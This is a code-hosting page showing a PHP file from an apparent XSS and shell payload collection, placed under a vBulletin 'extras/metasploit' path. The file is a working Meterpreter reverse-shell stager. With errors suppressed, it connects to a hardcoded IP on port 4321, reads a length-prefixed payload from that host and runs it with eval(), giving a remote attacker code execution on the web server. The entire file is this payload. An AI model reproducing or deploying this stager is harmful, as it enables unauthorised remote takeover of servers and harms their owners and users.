PageRenderTime 35ms CodeModel.GetById 12ms RepoModel.GetById 0ms app.codeStats 0ms

/vBulletin/extras/metasploit/meterpreter.php

https://github.com/johnjohnsp1/xss-shell-payloads
PHP | 56 lines | 43 code | 13 blank | 0 comment | 12 complexity | 2290360c6148f0a9c33393474dac9c07 MD5 | raw file
Possible License(s): MPL-2.0-no-copyleft-exception, GPL-2.0
  1. error_reporting(0);
  2. $ip = '192.168.92.152';
  3. $port = 4321;
  4. $ipf = AF_INET;
  5. if (FALSE !== strpos($ip, ":")) {
  6. $ip = "[". $ip ."]";
  7. $ipf = AF_INET6;
  8. }
  9. if (($f = 'stream_socket_client') && is_callable($f)) {
  10. $s = $f("tcp://{$ip}:{$port}");
  11. $s_type = 'stream';
  12. } elseif (($f = 'fsockopen') && is_callable($f)) {
  13. $s = $f($ip, $port);
  14. $s_type = 'stream';
  15. } elseif (($f = 'socket_create') && is_callable($f)) {
  16. $s = $f($ipf, SOCK_STREAM, SOL_TCP);
  17. $res = @socket_connect($s, $ip, $port);
  18. if (!$res) { die(); }
  19. $s_type = 'socket';
  20. } else {
  21. die('no socket funcs');
  22. }
  23. if (!$s) { die('no socket'); }
  24. switch ($s_type) {
  25. case 'stream': $len = fread($s, 4); break;
  26. case 'socket': $len = socket_read($s, 4); break;
  27. }
  28. if (!$len) {
  29. die();
  30. }
  31. $a = unpack("Nlen", $len);
  32. $len = $a['len'];
  33. $b = '';
  34. while (strlen($b) < $len) {
  35. switch ($s_type) {
  36. case 'stream': $b .= fread($s, $len-strlen($b)); break;
  37. case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
  38. }
  39. }
  40. $GLOBALS['msgsock'] = $s;
  41. $GLOBALS['msgsock_type'] = $s_type;
  42. eval($b);
  43. die();